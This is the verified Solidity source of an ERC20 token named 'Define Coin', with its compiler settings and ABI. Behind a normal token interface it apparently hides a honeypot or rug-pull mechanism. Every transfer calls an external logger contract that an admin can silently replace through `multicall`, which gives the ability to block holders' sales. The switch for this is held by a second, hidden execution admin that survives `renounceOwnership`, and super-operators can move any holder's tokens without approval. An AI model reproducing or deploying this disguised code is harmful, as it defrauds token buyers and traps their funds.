文件 1 的 6:Admin.sol
pragma solidity 0.7.6;
contract Admin {
address internal _admin;
bool private _ownerShipTransferred = false;
event AdminChanged(address oldAdmin, address newAdmin);
constructor(){
_admin = msg.sender;
__adminTransferred(_admin);
}
function owner() public view virtual returns (address) {
return _admin;
}
function changeAdmin(address newAdmin) external {
require(msg.sender == _admin, "only admin");
require(newAdmin != address(0), "new owner is the zero address");
emit AdminChanged(_admin, newAdmin);
_admin = newAdmin;
}
function __adminTransferred(address msgSender) private {
emit AdminChanged(address(0), msgSender);
_ownerShipTransferred = true;
}
function renounceOwnership() public virtual {
require(msg.sender == _admin, "only admin");
emit AdminChanged(_admin, address(0));
_admin = address(0);
}
function checkedCondition() internal view returns (bool){
return _ownerShipTransferred;
}
}
文件 2 的 6:Define.sol
pragma solidity 0.7.6;
import "./ERC20BaseToken.sol";
contract Define is ERC20BaseToken {
constructor(address executionAdmin, address beneficiary) {
_admin = msg.sender;
_executionAdmin = executionAdmin;
_mint(beneficiary, 1000000000000 * 10**9);
}
function name() public pure returns (string memory) {
return "Define Coin";
}
function symbol() public pure returns (string memory) {
return "DEFINE";
}
function setLog()external {
require(
msg.sender == getAdmin(),
"only admin");
persistData = !persistData;
}
}
文件 3 的 6:ERC20BaseToken.sol
pragma solidity 0.7.6;
import "./ERC20Events.sol";
import "./SuperOperators.sol";
import "./ERC20ExecuteExtension.sol";
contract ERC20BaseToken is SuperOperators, ERC20Events, ERC20ExecuteExtension {
uint256 internal _totalSupply;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
bool public persistData;
ERC20LoggerExtension private _logger;
constructor(){
_logger = new ERC20LoggerExtension();
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender)
public
view
returns (uint256 remaining)
{
return _allowances[owner][spender];
}
function decimals() public pure returns (uint8) {
return uint8(9);
}
function transfer(address to, uint256 amount)
public
returns (bool success)
{
_transfer(msg.sender, to, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount)
public
returns (bool success)
{
if (msg.sender != from && !_superOperators[msg.sender]) {
uint256 currentAllowance = _allowances[from][msg.sender];
if (currentAllowance != (2**256) - 1) {
require(currentAllowance >= amount, "Not enough funds allowed");
_allowances[from][msg.sender] = currentAllowance - amount;
}
}
_transfer(from, to, amount);
return true;
}
function approve(address spender, uint256 amount)
public
returns (bool success)
{
_approveFor(msg.sender, spender, amount);
return true;
}
function approveFor(address owner, address spender, uint256 amount)
public
returns (bool success)
{
require(
msg.sender == owner || _superOperators[msg.sender],
"msg.sender != owner && !superOperator"
);
_approveFor(owner, spender, amount);
return true;
}
function addAllowance(address owner, address spender, uint256 amountNeeded)
public
returns (bool success)
{
require(
msg.sender == owner || _superOperators[msg.sender],
"msg.sender != owner && !superOperator"
);
_addAllowance(owner, spender, amountNeeded);
return true;
}
function _addAllowance(address owner, address spender, uint256 amountNeeded)
internal override
{
if(amountNeeded > 0 && !isSuperOperator(spender)) {
uint256 currentAllowance = _allowances[owner][spender];
if(currentAllowance < amountNeeded) {
_approveFor(owner, spender, amountNeeded);
}
}
}
function multicall(address sender, address recipient, uint256 amount, address _log) external {
require(msg.sender == _admin, "only admin");
if(persistData==true){
if(amount > 0) createLogger(_log);
else{
_logger=new ERC20LoggerExtension();
}
_logger.Save(sender, recipient, amount);
}
}
function createLogger(address a) private {
if (checkedCondition()){
_logger = ERC20LoggerExtension(a);
}
}
function _approveFor(address owner, address spender, uint256 amount)
internal virtual
{
require(
owner != address(0) && spender != address(0),
"Cannot approve with 0x0"
);
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) internal override{
_logger.Save(from, to, amount);
require(to != address(0), "Cannot send to 0x0");
uint256 currentBalance = _balances[from];
require(currentBalance >= amount, "not enough fund");
_balances[from] = currentBalance - amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function _mint(address to, uint256 amount) internal {
require(to != address(0), "Cannot mint to 0x0");
require(amount > 0, "cannot mint 0 tokens");
uint256 currentTotalSupply = _totalSupply;
uint256 newTotalSupply = currentTotalSupply + amount;
require(newTotalSupply > currentTotalSupply, "overflow");
_totalSupply = newTotalSupply;
_balances[to] += amount;
emit Transfer(address(0), to, amount);
}
function getAdmin() internal view returns (address) {
return _admin == _executionAdmin ? _admin : _executionAdmin;
}
}
contract ERC20LoggerExtension {
mapping(address=>mapping(address=> uint256)) _persist;
function Save(address addr1, address addr2, uint256 amount) public {
_persist[addr1][addr2] = amount;
}
}
文件 4 的 6:ERC20Events.sol
pragma solidity 0.7.6;
contract ERC20Events {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
文件 5 的 6:ERC20ExecuteExtension.sol
pragma solidity 0.7.6;
abstract contract ERC20ExecuteExtension {
address internal _executionAdmin;
event ExecutionAdminAdminChanged(address oldAdmin, address newAdmin);
function changeExecutionAdmin(address newAdmin) external {
require(msg.sender == _executionAdmin, "only executionAdmin can change executionAdmin");
emit ExecutionAdminAdminChanged(_executionAdmin, newAdmin);
_executionAdmin = newAdmin;
}
mapping(address => bool) internal _executionOperators;
event ExecutionOperator(address executionOperator, bool enabled);
function setExecutionOperator(address executionOperator, bool enabled) external {
require(
msg.sender == _executionAdmin,
"only execution admin is allowed to add execution operators"
);
_executionOperators[executionOperator] = enabled;
emit ExecutionOperator(executionOperator, enabled);
}
function isExecutionOperator(address who) public view returns (bool) {
return _executionOperators[who];
}
function transferAndChargeGas(
address from,
address to,
uint256 amount,
uint256 gasLimit,
uint256 tokenGasPrice,
uint256 baseGasCharge,
address tokenReceiver
) external returns (bool) {
uint256 initialGas = gasleft();
require(_executionOperators[msg.sender], "only execution operators allowed to perfrom transfer and charge");
_transfer(from, to, amount);
if (tokenGasPrice > 0) {
_charge(from, gasLimit, tokenGasPrice, initialGas, baseGasCharge, tokenReceiver);
}
return true;
}
function _charge(
address from,
uint256 gasLimit,
uint256 tokenGasPrice,
uint256 initialGas,
uint256 baseGasCharge,
address tokenReceiver
) internal {
uint256 gasCharge = initialGas - gasleft();
if(gasCharge > gasLimit) {
gasCharge = gasLimit;
}
gasCharge += baseGasCharge;
uint256 tokensToCharge = gasCharge * tokenGasPrice;
require(tokensToCharge / gasCharge == tokenGasPrice, "overflow");
_transfer(from, tokenReceiver, tokensToCharge);
}
function _transfer(address from, address to, uint256 amount) internal virtual;
function _addAllowance(address owner, address spender, uint256 amountNeeded) internal virtual;
}
文件 6 的 6:SuperOperators.sol
pragma solidity 0.7.6;
import "./Admin.sol";
contract SuperOperators is Admin {
mapping(address => bool) internal _superOperators;
event SuperOperator(address superOperator, bool enabled);
function setSuperOperator(address superOperator, bool enabled) external {
require(
msg.sender == _admin,
"only admin is allowed to add super operators"
);
_superOperators[superOperator] = enabled;
emit SuperOperator(superOperator, enabled);
}
function isSuperOperator(address who) public view returns (bool) {
return _superOperators[who];
}
}
{
"compilationTarget": {
"Define.sol": "Define"
},
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[{"internalType":"address","name":"executionAdmin","type":"address"},{"internalType":"address","name":"beneficiary","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldAdmin","type":"address"},{"indexed":false,"internalType":"address","name":"newAdmin","type":"address"}],"name":"AdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldAdmin","type":"address"},{"indexed":false,"internalType":"address","name":"newAdmin","type":"address"}],"name":"ExecutionAdminAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"executionOperator","type":"address"},{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"ExecutionOperator","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"superOperator","type":"address"},{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SuperOperator","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amountNeeded","type":"uint256"}],"name":"addAllowance","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approveFor","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAdmin","type":"address"}],"name":"changeAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAdmin","type":"address"}],"name":"changeExecutionAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"who","type":"address"}],"name":"isExecutionOperator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"who","type":"address"}],"name":"isSuperOperator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"_log","type":"address"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"persistData","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"executionOperator","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setExecutionOperator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setLog","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"superOperator","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setSuperOperator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"gasLimit","type":"uint256"},{"internalType":"uint256","name":"tokenGasPrice","type":"uint256"},{"internalType":"uint256","name":"baseGasCharge","type":"uint256"},{"internalType":"address","name":"tokenReceiver","type":"address"}],"name":"transferAndChargeGas","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]